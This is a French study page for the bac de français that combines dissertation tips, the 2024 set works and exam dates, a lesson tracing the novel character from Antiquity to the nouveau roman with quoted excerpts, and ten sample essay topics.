Eh oui, c’est un conseil qui peut te surprendre ! Toute ta scolarité, tu as dû entendre qu’il fallait consacrer 10 minutes de ton temps à la relecture. Seulement, on ne va pas se mentir, après quatre heures d’épreuves, la relecture, c’est vraiment pour faire « genre » : mis à part quelques fautes d’orthographe et quelques virgules, ton cerveau déjà bien fatigué n’est pas très efficace. C’est pourquoi, on te conseille plutôt de relire ta copie après chaque nouvelle sous-partie. Autrement dit, relire ta copie toutes les 10/15 minutes. Effectivement, cette technique est très efficace puisqu’elle te permet à la fois de suivre le « fil conducteur de ta copie » et de prévenir le possible hors-sujet. Cette relecture « partie par partie » te permet de gagner en efficacité. 

Soigner ta présentation

C’est essentiel pour être bien perçu par ton correcteur. En effet, ce dernier a un grand nombre de copies à corriger, il fatigue et surtout prend peine à bien relire des copies disgracieuses (calligraphie, truffés de fautes d’orthographe, bourrés d’Astérix, etc.), alors facilite-le et il t’en sera reconnaissant. Garde en tête que ta présentation est le « Code de la route de ta copie », alors suis des indications stylistiques pour que le correcteur comprenne ta copie. Tu peux alors par exemple : 

  • Faire un alinéa (sauter deux ou trois carreaux) à chaque début de paragraphe ;
  • sauter une ligne entre chaque sous-parties ;
  • Sauter deux lignes entre chaque partie ; 
  • Aérer ta copie, etc.

Rester simple et concis

N’oublie pas que tu restes un élève de terminale. Tu n’es ni poète, ni journaliste et encore moins romancier. C’est pourquoi, on te conseille de ne pas te lancer dans des phrases trop longues et complexes. Reste simple et factuel. Faire des courtes phrases : sujet / verbe / complément. Évidemment, les fautes d’orthographe, de grammaire et de syntaxe sont aussi à bannir.

Bac français 2024 : les œuvres au programme

Maintenant que tu en sais un peu plus sur la dissertation sur le roman, laisse-nous te rappeler les œuvres au programme du bac de français 2024. En d’autres termes, les œuvres sur lesquelles tu devras plancher au mois de juin prochain. 

Cette année encore, 12 ouvrages sont au programme divisés en 4 objets d’étude d’instincts.

La poésie du XIXe siècle au XXIe siècle 

  • Rimbaud, Cahier de Douai (aussi connu sous les titres Cahiers de Douai, « Recueil Demeny »  ou Recueil de Douai ), 22 poèmes, de « Première soirée » à « Ma Bohème (Fantaisie) » / parcours : émancipations créatrices.
  • Ponge, La rage de l’expression / parcours : dans l’atelier du poète.
  • Hélène Dorion, Mes forêts / parcours : la poésie, la nature, l’intime.

Le roman et le récit du Moyen Âge au XXIe siècle

  • Abbé Prévost, Manon Lescaut / parcours : personnages en marge, plaisirs du romanesque.
  • Balzac, La Peau de chagrin / parcours : les romans de l’énergie : création et destruction.
  • Colette, Sido suivi de Les Vrilles de la vigne / parcours : la célébration du monde.

Le théâtre du XVIIe siècle au XXIe siècle

  • Molière, Le Malade imaginaire / parcours : spectacle et comédie.
  • Marivaux, Les Fausses Confidences / parcours : théâtre et stratagème.
  • Jean-Luc Lagarce, Juste la fin du monde / parcours : crise personnelle, crise familiale.

La littérature d’idées du XVIe siècle au XVIIIe siècle

  • Rabelais, Gargantua / parcours : rire et savoir.
  • La Bruyère, Les Caractères , livres V à X / parcours : la comédie sociale.
  • Olympe de Gouges, Déclaration des droits de la femme et de la citoyenne   (du « préambule » au « postambule ») / parcours : écrire et combattre pour l’égalité.

Lire aussi :  Bac français 2024 : les œuvres au programme

Calendrier 2024 : Les dates du bac de français

Tu veux connaître les dates des épreuves anticipées de Français cette année ? Eh bien figure-toi que tu es au bon endroit !  Voici un petit récapitulatif des dates importantes à retenir pour le bac de français en 2024 !

  • Épreuve écrite : vendredi 14 juin 2024 de 8h à 12h 
  • Épreuve orale : à partir du 24 juin jusqu’au 5 juillet.

Si tu ne connais pas encore la date exacte de ta convocation pour l’épreuve orale, ne t’inquiète pas. Tu devrais bientôt la recevoir ! Elle te précisera la date et le créneau horaire de ton passage.  Cependant, la situation est un peu différente comparé au Grand oral. pour ton épreuve oral, tu ne sais pas précisément à quelle heure tu es convoqué(e). On t’indiquera seulement si tu passes le matin ou l’après-midi, et le jour même, tu découvriras l’ordre de passage des candidats convoqués simultanément.

En d’autres termes, tu pourrais être appelé(e) le matin et ne passer qu’en troisième ou quatrième position, te faisant ainsi passer vers 11 heures après avoir attendu depuis 8 heures. C’est une réalité inévitable du baccalauréat de français, mais essaie de voir cela comme un avantage. Si tu passes en premier, tu en auras fini rapidement, et si tu passes en dernier, tu disposeras de plus de temps pour réviser tes fiches.

Lire aussi :  Les dates du bac de français 2024

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conclusion dissertation personnage de roman

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  • Cours : Le personnage de roman

Le personnage de roman Cours

Histoire du personnage de roman, dans l'antiquité : un être parfait.

Dans l'Antiquité, le roman n'existe pas. Cependant, les récits mettent en œuvre des personnages. Le récit, qu'il soit indirect dans l'épopée ou direct dans la tragédie, met en œuvre la représentation d'actions. Celles-ci sont réalisées par des personnages. On s'intéresse peu à leur identité ou à leur personnalité. Seule compte l'action. Les récits sont en lien avec le culte des dieux. Ils mettent donc souvent en œuvre des êtres parfaits, souvent des demi-dieux ou des héros.

Dans l' Odyssée , Homère raconte les aventures d'Ulysse, héros de la guerre de Troie, qui erre sur les mers, dans l'espoir d'un retour vers son pays. Ce personnage est un fin stratège et un homme moralement exemplaire.

Au Moyen Âge : un héros qui agit

Au Moyen Âge apparaît le roman de chevalerie. Mais ce roman ne correspond pas encore à la définition du roman moderne. Le récit s'organise autour d'événements illustres, souvent guerriers, qu'ils soient réels ou fictifs.

Lancelot ou le Chevalier à la Charrette de Chrétien de Troyes raconte les aventures du chevalier Lancelot. Ses aventures se déroulent dans l'univers imaginaire du royaume de Logres.

Le récit s'intéresse essentiellement aux faits d'armes du chevalier. Celui-ci montre parfois des signes de faiblesse, mais ce héros recherche toujours la perfection. Le personnage est donc un être codifié. Il remplit des caractéristiques prédéterminées et figées.

Le personnage de Gauvain, exemple parfait de l'idéal chevaleresque, est présent dans de nombreux romans de Chrétien de Troyes. Il est présenté comme le plus grand chevalier au monde. Il allie force et dextérité dans son art et il est également un homme courtois envers les femmes et secourable envers les plus faibles, comme les pauvres, les veuves et les orphelins.

Du XVIe au XVIIIe siècle : une identité et un parcours

Le roman moderne apparaît au XVIe siècle. En réaction au roman de chevalerie, jugé désuet, le personnage est un être imparfait, en errance. Il s'agit d'un picaro .

Picaro  est un mot espagnol qui désigne un miséreux. En littérature, il désigne un personnage vagabond, en marge de la société.

Dans son Roman comique publié en 1651, Scarron met en œuvre une troupe de comédiens. Les comédiens vivaient très souvent dans la misère et le vagabondage.

Les romans des XVIe et XVIIe siècles tombent souvent dans le registre satirique. Les personnages sont donc ridicules, particulièrement imparfaits.

Don Quichotte , roman espagnol de Cervantès, raconte les aventures rocambolesques du personnage éponyme, qui, dans un délire continu, se prend pour un chevalier du temps jadis. Il est accompagné par un serviteur, Sancho Pansa, qui veille sur son maître et tente de le ramener à la raison.

Certains romanciers proposent des personnages grotesques, dans des univers fictifs symboliques.

Dans Pantagruel , François Rabelais met en œuvre un géant du même nom, dont actions et discussions cachent un véritable débat politique et philosophique.

Mais le roman propose également des personnages que l'on doit davantage prendre au sérieux :

  • Les héros du roman précieux sont totalement fictifs et symboliques.
  • Les personnages du roman classique sont l'occasion d'explorer le cœur humain.

Dans La Princesse de Clèves de Madame de La Fayette, le personnage éponyme est un exemple de vertu et respecte en cela les idéaux de la tradition romanesque. Toutefois, cette femme est en proie à une passion qu'elle s'évertue à combattre : elle aime profondément le duc de Nemours, que, même veuve, elle refusera d'épouser, au nom de l'idéal de cet amour.

Au XIXe siècle : un individu comme les autres

Le XIXe siècle est celui de l'apparition de l'individualité et de la mise en avant de la bourgeoisie. C'est à cette époque que le personnage de roman prend sa définition traditionnelle. Le personnage est devenu un être complexe. Il a une identité (un nom, un prénom, un statut socioprofessionnel, des relations avec d'autres personnages), une histoire (un passé, des projets d'avenir), un caractère (une personnalité en lien avec son histoire, ses proches, son statut socioprofessionnel).

Le narrateur s'appuie alors sur :

  • Un jeu des points de vue
  • Des passages descriptifs
  • Des discours rapportés

Le portrait du personnage devient un exercice incontournable.

Bientôt la veuve se montre, attifée de son bonnet de tulle sous lequel pend un tour de faux cheveux mal mis ; elle marche en traînassant ses pantoufles grimacées. Sa face vieillotte, grassouillette, du milieu de laquelle sort un nez à bec de perroquet ; ses petites mains potelées, sa personne dodue comme un rat d'église, son corsage trop plein et qui flotte, sont en harmonie avec cette salle où suinte le malheur, où s'est blottie la spéculation et dont madame Vauquer respire l'air chaudement fétide sans en être écœurée. Sa figure fraîche comme une première gelée d'automne, ses yeux ridés, dont l'expression passe du sourire prescrit aux danseuses à l'amer renfrognement de l'escompteur, enfin toute sa personne explique la pension, comme la pension implique sa personne. Le bagne ne va pas sans l'argousin, vous n'imagineriez pas l'un sans l'autre. L'embonpoint blafard de cette petite femme est le produit de cette vie, comme le typhus est la conséquence des exhalaisons d'un hôpital. Son jupon de laine tricotée, qui dépasse sa première jupe faite avec une vieille robe, et dont la ouate s'échappe par les fentes de l'étoffe lézardée, résume le salon, la salle à manger, le jardinet, annonce la cuisine et fait pressentir les pensionnaires. Quand elle est là, ce spectacle est complet. Âgée d'environ cinquante ans, madame Vauquer ressemble à toutes les femmes qui ont eu des malheurs. Elle a l'œil vitreux, l'air innocent d'une entremetteuse qui va se gendarmer pour se faire payer plus cher, mais d'ailleurs prête à tout pour adoucir son sort, à livrer Georges ou Pichegru, si Georges ou Pichegru étaient encore à livrer. Néanmoins, elle est bonne femme au fond, disent les pensionnaires, qui la croient sans fortune en l'entendant geindre et tousser comme eux. Qu'avait été monsieur Vauquer ? Elle ne s'expliquait jamais sur le défunt. Comment avait-il perdu sa fortune ? Dans les malheurs, répondait-elle. Il s'était mal conduit envers elle, ne lui avait laissé que les yeux pour pleurer, cette maison pour vivre, et le droit de ne compatir à aucune infortune, parce que, disait-elle, elle avait souffert tout ce qu'il est possible de souffrir.

Honoré de Balzac

Le Père Goriot , Paris, éd. Edmond Werdet, coll. "Scènes de la vie privée"

Dans cet extrait, le narrateur dresse le portrait d'un personnage central dans le roman, la mère Vauquer, propriétaire de la pension où se déroule le récit. Détails physiques, gestes et paroles rapportées s'entremêlent pour représenter une femme austère et cupide, mais dans le fond secourable.

Dans la seconde partie du siècle, quelques auteurs, comme Gustave Flaubert, tentent de remettre en question cette image idéalisée du personnage de roman.

Dans Madame Bovary , Flaubert se moque de l'héroïne, qui cherche à calquer son existence sur celle, idéale, des personnages de roman.

Cependant, la définition communément admise bouge peu jusqu'à la Première Guerre mondiale.

Aux XXe et XXIe siècles : une entité en crise

Après la Première Guerre mondiale, le personnage de roman évolue. Les traumatismes de la guerre sont à l'origine de récits plus noirs, aux événements plus tristes.

Dans Voyage au bout de la nuit , Louis-Ferdinand Céline raconte les pérégrinations de Ferdinand Bardamu : la Première Guerre mondiale, les usines américaines, les colonies, etc. Ce picaro des temps modernes met le lecteur en présence de la misère humaine et de la cruauté de l'homme.

Le début du XXe siècle connaît l'apparition de la psychanalyse. Ainsi, certains auteurs comme Marcel Proust, explorent les méandres de la conscience.

Du côté de chez Swann , roman de Marcel Proust publié en 1913, s'ouvre sur des souvenirs du narrateur. Ils sont pour lui l'occasion de réfléchir sur le fonctionnement de la mémoire.

Et bientôt, machinalement, accablé par la morne journée et la perspective d'un triste lendemain, je portai à mes lèvres une cuillerée du thé où j'avais laissé s'amollir un morceau de madeleine. Mais à l'instant même où la gorgée mêlée des miettes du gâteau toucha mon palais, je tressaillis, attentif à ce qui se passait d'extraordinaire en moi. Un plaisir délicieux m'avait envahi, isolé, sans la notion de sa cause. Il m'avait aussitôt rendu les vicissitudes de la vie indifférentes, ses désastres inoffensifs, sa brièveté illusoire, de la même façon qu'opère l'amour, en me remplissant d'une essence précieuse : ou plutôt cette essence n'était pas en moi, elle était moi. J'avais cessé de me sentir médiocre, contingent, mortel. D'où avait pu me venir cette puissante joie ? Je sentais qu'elle était liée au goût du thé et du gâteau, mais qu'elle le dépassait infiniment, ne devait pas être de même nature. D'où venait-elle ? Que signifiait-elle ? Où l'appréhender ? [...] Je pose la tasse et me tourne vers mon esprit. C'est à lui de trouver la vérité. Mais comment ? Grave incertitude, toutes les fois que l'esprit se sent dépassé par lui-même ; quand lui, le chercheur, est tout ensemble le pays obscur où il doit chercher et où tout son bagage ne lui sera de rien. Chercher ? pas seulement : créer. Il est en face de quelque chose qui n'est pas encore et que seul il peut réaliser, puis faire entrer dans sa lumière.

Marcel Proust

Du côté de chez Swann , Paris, éd. Grasset

Dans cet extrait, le narrateur-personnage détaille toute la progression qui se fait dans son esprit, depuis la sensation de goût jusqu'au travail de réminiscence.

Face à l'inconnu que révèle l'esprit humain, au regard des sciences humaines, la définition du personnage de roman disparaît peu à peu. Les explorations et expérimentations narratives se multiplient. Plusieurs pistes sont explorées :

  • Certains, comme Nathalie Sarraute, s'interrogent sur la manière dont le personnage perçoit le monde qui l'entoure. C'est le nouveau roman.
  • D'autres, comme André Malraux, s'interrogent sur la manière dont le monde influe sur le personnage. C'est l'existentialisme.
  • D'autres encore, comme Albert Camus, questionnent les réactions de l'homme face au monde qui l'entoure. Cette piste est notamment explorée par le mouvement littéraire de l'absurde.

Mais tous ces auteurs se rejoignent dans la disparition de la définition traditionnelle du personnage. Cette dernière est en crise.

Le personnage en question

Une identité.

Dans sa définition traditionnelle, le personnage de roman présente une identité. Celle-ci est constituée :

  • D'un nom et d'un prénom
  • D'un cadre de vie (temps, lieu)
  • D'une situation socioprofessionnelle
  • De relations avec d'autres personnages principaux ou secondaires

Dans La Chartreuse de Parme de Stendhal, le personnage principal se nomme Fabrice del Dongo. Il est le fils cadet de la famille. Il vit sous la protection de sa tante, qui l'affectionne. Son histoire se déroule dans les années qui suivent l'abdication de Napoléon I er . Il est tour à tour soldat, prisonnier et prédicateur. Il est également fou amoureux de Clélia Conti, avec qui il vit une histoire d'amour jusqu'à son décès et dont il a un fils, Sandrino.

Depuis le début du XXe siècle, certains auteurs ont cherché à gommer cette identité :

  • Dans Le Procès de Franz Kafka, le personnage central, Joseph K., n'a pas de nom de famille identifiable. Son identité manque de réalité.
  • À l'inverse, dans L'Étranger , le héros n'est nommé que par son nom de famille, Meursault, ce qui limite la dimension intime de son portrait.
  • Chez Nathalie Sarraute, certains personnages n'ont même plus de nom ou de prénom, comme dans Les Fruits d'or .

Une existence

Traditionnellement, le personnage de roman s'inscrit dans un univers cohérent, présentant un passé et un avenir. Leur existence se manifeste par :

  • Des retours en arrière, soit par l'intermédiaire d'explications du narrateur, soit par le témoignage direct ou indirect du personnage
  • Des anticipations du narrateur
  • Des espérances formulées par le personnage, de manière directe ou indirecte

L'existence du personnage est souvent confirmée par la présence d'une ou plusieurs descriptions de celui-ci. Les éléments descriptifs permettent au lecteur de se le représenter et donc de lui conférer une certaine réalité.

Dans Les Misérables de Victor Hugo, le narrateur décrit Cosette aux différents âges de sa vie. Par ailleurs, cette dernière présente un passé, celui de son arrivée chez les Thénardier, et un avenir, avec Marius.

Toutefois, certains auteurs du XXe siècle tentent de ne pas accorder d'existence à leurs personnages :

  • Certains auteurs, comme Albert Camus dans L'Étranger , éludent toute description physique de certains personnages.
  • D'autres, comme Alain Robbe-Grillet dans Les Gommes , font du passé et de l'avenir du personnage une question à élucider.

Un caractère

Le personnage de roman moderne présente une personnalité, un caractère. Il manifeste certaines qualités et certains défauts. Le lecteur peut ainsi dresser le portrait moral du personnage en étudiant :

  • Les portraits en action réalisés par le narrateur
  • Les paroles rapportées des personnages
  • Les monologues intérieurs du personnage, dans le cas d'un point de vue interne

Comme il portait beau par nature et par pose d'ancien sous-officier, il cambra sa taille, frisa sa moustache d'un geste militaire et familier, et jeta sur les dîneurs attardés un regard rapide et circulaire, un de ces regards de joli garçon, qui s'étendent comme des coups d'épervier. Les femmes avaient levé la tête vers lui [...]. Lorsqu'il fut sur le trottoir, il demeura un instant immobile, se demandant ce qu'il allait faire. On était au 28 juin, et il lui restait juste en poche trois francs quarante pour finir le mois. Cela représentait deux dîners sans déjeuners, ou deux déjeuners sans dîners, au choix. Il réfléchit que les repas du matin étant de vingt-deux sous, au lieu de trente que coûtaient ceux du soir, il lui resterait, en se contentant des déjeuners, un franc vingt centimes de boni, ce qui représentait encore deux collations au pain et au saucisson, plus deux bocks sur le boulevard. C'était là sa grande dépense et son grand plaisir des nuits ; et il se mit à descendre la rue Notre-Dame-de-Lorette. Il marchait ainsi qu'au temps où il portait l'uniforme des hussards, la poitrine bombée, les jambes un peu entrouvertes comme s'il venait de descendre de cheval ; et il avançait brutalement dans la rue pleine de monde, heurtant les épaules, poussant les gens pour ne point se déranger de sa route. Il inclinait légèrement sur l'oreille son chapeau à haute forme assez défraîchi, et battait le pavé de son talon. Il avait l'air de toujours défier quelqu'un, les passants, les maisons, la ville entière, par chic de beau soldat tombé dans le civil.

Guy de Maupassant

Bel-Ami , Paris, éd. Paul Ollendorf

Dans cet extrait, le héros, surnommé Bel-Ami pour son succès auprès des femmes, manifeste toute son assurance et toute son ambition. Son regard de prédateur, sa démarche et sa négligence envers les passants qu'il croise montrent toute l'étendue de son sentiment de supériorité. Son monologue intérieur au sujet de ses finances montre également une certaine tendance au calcul.

Certains auteurs du XIXe siècle accordent beaucoup d'importance à la psychologie des personnages :

  • Certains, comme Émile Zola dans Thérèse Raquin , proposent une étude approfondie des pulsions et réflexions de l'ensemble des personnages, grâce à une alternance des points de vue.
  • D'autres, comme Flaubert dans Madame Bovary , mettent en œuvre un regard critique à l'encontre de la psychologie des personnages.

Mais à partir du XXe siècle, les découvertes en matière de psychanalyse remettent en cause les usages dans la psychologie des personnages. Considérés alors comme des êtres de papier, de nombreux auteurs refusent de manifester des considérations psychologiques :

  • Certains personnages (comme Meursault dans L'Étranger d'Albert Camus) ne témoignent pas directement de sentiments.
  • D'autres auteurs (comme dans La Modification de Michel Butor) proposent, par un jeu des pronoms personnels, un personnage au caractère incertain.

Toutefois, la conscience des personnages ne disparaît pas pour autant. Les auteurs du nouveau roman l'exploitent d'ailleurs à son paroxysme.

Mon gendre aime les carottes râpées. Monsieur Alain adore ça. Surtout n'oubliez pas de faire des carottes râpées pour Monsieur Alain. Bien tendres… Des carottes nouvelles… Les carottes sont-elles assez tendres pour Monsieur Alain ? Il est si gâté, vous savez, il est si délicat. Finement hachées… le plus finement possible… avec le nouveau petit instrument… Tiens… c'est tentant… Voyez, Mesdames, vous obtenez avec cela les plus exquises carottes râpées… Il faut l'acheter. Alain sera content, il adore ça. Bien assaisonnées… de l'huile d'olive… « la Niçoise » pour lui, il n'aime que celle-là, je ne prends que ça… Les justes proportions, ah, pour ça il s'y connaît… un peu d'oignon, un peu d'ail, et persillées, salées, poivrées… les plus délicieuses carottes râpées…

Nathalie Sarraute

Le Planétarium , Paris, éd. Gallimard

Dans cet extrait, le monologue intérieur du personnage ne manifeste aucun trait de caractère. Toutefois, il ralentit l'action par la quantité de détails qu'il propose. Cela crée une sorte de gros plan, une focalisation si précise que le lecteur perd de vue l'ensemble de la trame narrative. Cette dernière n'a donc plus de cohérence.

Du personnage au monde

Un membre du monde.

Le personnage est un élément caractéristique du monde. Il habite l'univers du récit et il l'anime. Peu à peu, ce personnage a pris une dimension de plus en plus réaliste :

  • Honoré de Balzac, dans son avant-propos de la Comédie humaine , présente ses personnages comme des copies des différents caractères présents dans la société de son temps.
  • Gustave Flaubert, dans une lettre à l'historien Hippolyte Taine, manifeste une grande proximité avec ses personnages. Il les figure comme un prolongement de lui-même et avoue vivre passionnément, presque physiquement, leurs aventures.
  • Émile Zola, dans sa préface à La Fortune des Rougon , explique que le personnage est une copie de caractères réels, dont l'observation permet d'analyser le fonctionnement de l'esprit humain.
  • François Mauriac, dans son essai Le Roman , définit les personnages comme des êtres autonomes.

Les personnages imaginaires m'affolent, me poursuivent, ou plutôt c'est moi qui suis dans leur peau.

Gustave Flaubert

Correspondance , Paris, éd. Louis Conard (1926)

Cette citation montre à quel point Flaubert s'assimile à ses personnages.

Je veux expliquer comment une famille, un petit groupe d'êtres, se comporte dans une société, en s'épanouissant pour donner naissance à dix, à vingt individus qui paraissent, au premier coup d'œil, profondément dissemblables, mais que l'analyse montre intimement liés les uns aux autres. L'hérédité a ses lois, comme la pesanteur.

La Fortune des Rougon , Paris, éd. Charpentier (1879)

Cette citation de la préface montre que Zola fait du personnage un être réaliste au point de devenir le cobaye d'une expérience.

Mais, dans la seconde partie du XXe siècle, cette conception du personnage est mise à mal :

  • Certains romanciers, comme Jean-Paul Sartre dans son essai Situations I , refusent une prédestination du personnage que prônaient Émile Zola et François Mauriac.
  • D'autres, comme Alain Robbe-Grillet dans Pour un nouveau roman , constatent que les personnages des romans contemporains ont perdu toute essence. Ils ne sont plus qu'un élément du récit parmi d'autres.

Le roman ne donne pas les choses, mais leurs signes. Avec ces seuls signes, les mots, qui indiquent dans le vide, comment faire un monde qui tienne debout ? Car un livre n'est rien qu'un petit tas de feuilles sèches, ou alors une grande forme en mouvement : la lecture. Ce mouvement, le romancier le capte, le guide, l'infléchit, il en fait la substance de ses personnages ; un roman, suite de lectures, de petites vies parasitaires dont chacune ne dure guère plus qu'une danse, se gonfle et se nourrit avec le temps de ses lecteurs. Mais pour que la durée de mes impatiences, de mes ignorances, se laisse attraper, modeler et présenter enfin à moi comme la chair de ces créatures inventées, il faut que le romancier sache l'attirer dans son piège, il faut qu'il esquisse en creux dans son livre, au moyen des signes dont il dispose, un temps semblable au mien, où l'avenir n'est pas fait. Si je soupçonne que les actions futures du héros sont fixées à l'avance par l'hérédité, les influences sociales ou quelque autre mécanisme, mon temps reflue sur moi ; il ne reste plus que moi, moi qui lis, moi qui dure, en face d'un livre immobile. Voulez-vous que vos personnages vivent ? Faites qu'ils soient libres.

Jean-Paul Sartre

Situations I , Paris, éd. Gallimard, coll. "Blanche"

Dans cet extrait, Sartre rappelle que le personnage n'est qu'une fiction. Si le lecteur, n'est plus fasciné par le récit, par exemple parce que les personnages ou les situations sont schématiques, il ne prendra plus de plaisir à lire.

Nous en a-t-on assez parlé du "personnage" ! Et ça ne semble, hélas, pas près de finir. Cinquante années de maladie, le constat de son décès enregistré à maintes reprises par les plus sérieux essayistes, rien n'a encore réussi à le faire tomber du piédestal où l'avait placé le XIXe siècle. [...] Aucune des grandes œuvres contemporaines ne correspond en effet sur ce point aux normes de la critique. Combien de lecteurs se rappellent le nom du narrateur dans La Nausée ou dans L'Étranger ? Y a-t-il là des types humains ? Ne serait-ce pas au contraire la pire absurdité que de considérer ces livres comme des études de caractère ? Et Le Voyage au bout de la nuit , décrit-il un personnage ? [...] On pourrait multiplier les exemples. En fait, les créateurs de personnages, au sens traditionnel, ne réussissent plus à nous proposer que des fantoches auxquels eux-mêmes ont cessé de croire. Le roman de personnages appartient bel et bien au passé, il caractérise une époque : celle qui marqua l'apogée de l'individu. [...] Notre monde, aujourd'hui, est moins sûr de lui-même, plus modeste peut-être puisqu'il a renoncé à la toute-puissance de la personne, mais plus ambitieux aussi puisqu'il regarde au-delà. Le culte exclusif de "l'humain" a fait place à une prise de conscience plus vaste, moins anthropocentriste. Le roman paraît chanceler, ayant perdu son meilleur soutien d'autrefois, le héros.

Alain Robbe-Grillet

Pour un nouveau roman , Paris, Éditions de Minuit

Dans cet extrait, l'auteur constate la mort d'une conception traditionnelle du personnage de roman. Selon lui, cette évolution est la conséquence d'une évolution de la conception du monde : elle accorde moins de place à l'individu dans un monde jugé plus obscur et plus complexe.

Un observateur du monde

Le personnage est également une entité qui propose un regard sur le monde fictif qui l'entoure. Or, ce monde étant souvent à l'image de celui du lecteur, il peut proposer également une réflexion sur le monde réel.

Le personnage me fait accéder à mon tour au grand règne des métamorphoses. C'est par lui que le roman peut se faire expérience du monde, en m'obligeant à devenir moi aussi un être imaginaire. En lisant, je me livre, je m'oublie ; je me compare, je m'absorbe, je m'absous. Sur le modèle et à l'image du personnage je deviens autre. [...] Grâce à la fiction, chacun porte une tête multiple sur ses épaules ; il se fait une âme ouverte ; un cœur régénéré.

Danièle Sallenave

Le Don des morts , Paris, éd. Gallimard, coll. "Blanche"

Dans cet extrait, l'auteure accorde au personnage une fonction cathartique : s'oubliant dans le personnage, le lecteur vit de multiples expériences qui font évoluer son regard sur le monde et sur lui-même.

Ce regard est supporté par :

  • La longueur du récit, qui, au contraire de la nouvelle, permet de construire une représentation du monde (plus ou moins cohérente) par l'accumulation d'informations et de détails.
  • Le jeu des points de vue, en particulier le point de vue interne.
  • Les descriptions, en particulier lorsqu'elles sont exprimées par les personnages eux-mêmes.

Certains romanciers mettent en garde contre une trop grande importance accordée au roman. Selon eux, la lecture doit rester un plaisir et le roman demeure un miroir déformé de notre réalité.

Le monde romanesque n'est que la correction de ce monde-ci, suivant le désir profond de l'homme. Car il s'agit bien du même monde. La souffrance est la même, le mensonge et l'amour. Les héros ont notre langage, nos faiblesses, nos forces. Leur univers n'est ni plus beau ni plus édifiant que le nôtre. Mais eux, du moins, courent jusqu'au bout de leur destin, et il n'est même jamais de si bouleversants héros que ceux qui vont jusqu'à l'extrémité de leur passion. [...] C'est ici que nous perdons leur mesure, car ils finissent alors ce que nous n'achevons jamais.

Albert Camus

Le Mythe de Sisyphe , Paris, éd. Gallimard

Camus admet la ressemblance de certains univers romanesques avec la réalité, mais il rappelle également que le personnage de roman est un être qui accomplit complètement sa destinée, va jusqu'au bout de ses passions.

Par ailleurs, au XXe siècle, l'intérêt de la lecture du roman s'est modifié, à cause de l'apparition de nouveaux médias. Le personnage de roman n'est plus un personnage qui renseigne sur le monde.

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Date de dernière mise à jour : 28/06/2024

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Exemples de sujets de dissertation en Littérature sur le personnage de roman

Le personnage de roman est un sujet vaste et passionnant en littérature, qui est un excellent terreau pour des devoirs de type dissertation. Nous vous donnons ici dix idées de sujets de dissertation sur le personnage de roman, ainsi que des idées de contenu à développer pour répondre au mieux à ces différents sujets.

Exemples de sujets de dissertation en Littérature sur le personnage de roman

Credit Photo : Freepik gstudioimagen

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Sujet 1 - Est-il nécessaire que le personnage de roman soit un héros, pour que le lecteur soit passionné ?

Il sera ici intéressant de prendre le temps de bien définir les termes, personnage de roman (qui n’est donc pas forcément le protagoniste d’une oeuvre), héros , passionné. Cela permettra de s’interroger sur le rôle réel du personnage de roman, sa vocation à l’intérieur d’un roman, ses fonctions.

Sujet 2 - En quoi le personnage de roman revêt-il une fonction de réflexion sur le monde en général ?

Le personnage de roman vit des aventures souvent trépidantes, cantonnées à son environnement. Néanmoins, le plus souvent, les aventures de ce personnage permettent au lecteur d’amorcer une réflexion sur le monde dans son ensemble, bien au-delà du seul environnement du personnage, bien au-delà même de l’oeuvre qui est lue. C’est l’une des fonctions du personnage du roman , et l’un des procédés habilement déroulés par les auteurs.

Sujet 3 - Est-il toujours possible, pour le lecteur, de s’identifier au personnage de roman ?

Le personnage de roman est parfois un héros qui vit des aventures rocambolesques, dans lesquelles il joue un rôle central et courageux. La plupart du temps, le lecteur parvient à s’identifier au personnage de roman et se retrouve ainsi embarqué dans ses pérégrinations. Parfois, néanmoins, le lecteur ne parvient pas à s’identifier au personnage de roman, souvent parce que le personnage est trop héroïque, ou trop différent du profil du lecteur. Il sera intéressant ici de mentionner des exemples concrets et de situations diverses.

Sujet 4 - Un personnage de roman doit-il absolument être un être hors du commun ?

Les écrivains du XVIIIe et du XIXe marquent une véritable rupture en matière de rôle et de qualité du personnage de roman. Pour eux, par exemple pour Zola, le personnage de roman n’est absolument pas un héros. Au contraire, l’auteur s’attache à décrire le personnage dans ce qu’il a de plus banal et de plus ordinaire. Il sera crucial ici d’identifier différents mouvements littéraires, d’époques différentes, pour donner des arguments contradictoires.

Sujet 5 - Le personnage de roman doit-il nécessairement être réel ?

Pour que le lecteur puisse s’identifier au personnage de roman et partager passionnément ses aventures, il semble plus facile que le personnage de roman soit réel, ou du moins possède une part de réalité. Néanmoins, il est fréquent d’adhérer et de se laisser emporter par les aventures de personnages irréels. Il sera ici important de donner des exemples concrets de personnages réels ou irréels qui ont, ou non, suscité l’attention des lectures.

Sujet 6 - En quoi Gauvain est-il à la fois un personnage et un mythe, dans Quatre vingt treize, de Victor Hugo ?

Il sera ici important de montrer qu’en fonction de certaines caractéristiques, un personnage peut être rapidement érigé au rang de mythe, par le biais de l’utilisation de plusieurs procédés littéraires notamment. Il sera intéressant d’expliquer ce qui distingue un personnage ordinaire d’un mythe, et comment y parvenir du point de vue de l’auteur.

Sujet 7 - Quelles doivent être les caractéristiques du personnage de roman ?

Le personnage de roman peut ou non remporter l’adhésion du lecteur, susciter sa sympathie ou son empathie, le convaincre de partager sa vision du monde. Il revêt néanmoins des caractéristiques globalement partagées par tous les personnages de roman, qu’il sera intéressant de détailler ici en mentionnant des exemples tirés de plusieurs romans différents.

Sujet 8 - Le personnage de roman doit-il forcément être un modèle ?

Selon les oeuvres, les personnages de roman sont parfois des modèles de vertu, avec une vie bien rangée, bien ordonnée, sage et bien organisée. Ils sont parfois au contraire des exemples à ne pas suivre, avec des valeurs discutables, des comportements viciés. Il sera intéressant ici de s’interroger sur le rôle du personnage de roman, mais aussi sur les moyens de parvenir à ses fins. En dépeignant des personnages de peu de vertu, ou ayant des travers difficilement supportables, l’auteur peut ainsi utiliser ses personnages pour entraîner le lecteur à s’identifier et ainsi à se détacher de ces traits de caractère négatifs, par exemple.

Sujet 9 - En quoi le personnage de roman reflète-t-il la société dans laquelle il évolue ?

Il est intéressant ici d’utiliser plusieurs exemples concrets dans lesquels différents personnages de romans sont, ou ne sont pas, des reflets des sociétés dans lesquelles ils évoluent. On devrait choisir ici des personnages d’époques comparables, voire similaires, pour montrer que certains reflètent leur société contemporaine alors que d’autres semblent en être davantage détachés.

Sujet 10 - Quels sont les points communs et les différences entre un personnage de roman et un personnage de théâtre ?

On pourra insister ici sur le rôle de ces deux personnages, et notamment sur la durée limitée d’une pièce de théâtre qui pousse à accentuer les traits, mais aussi à utiliser des procédés plus forts, moins subtils.

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Introduction

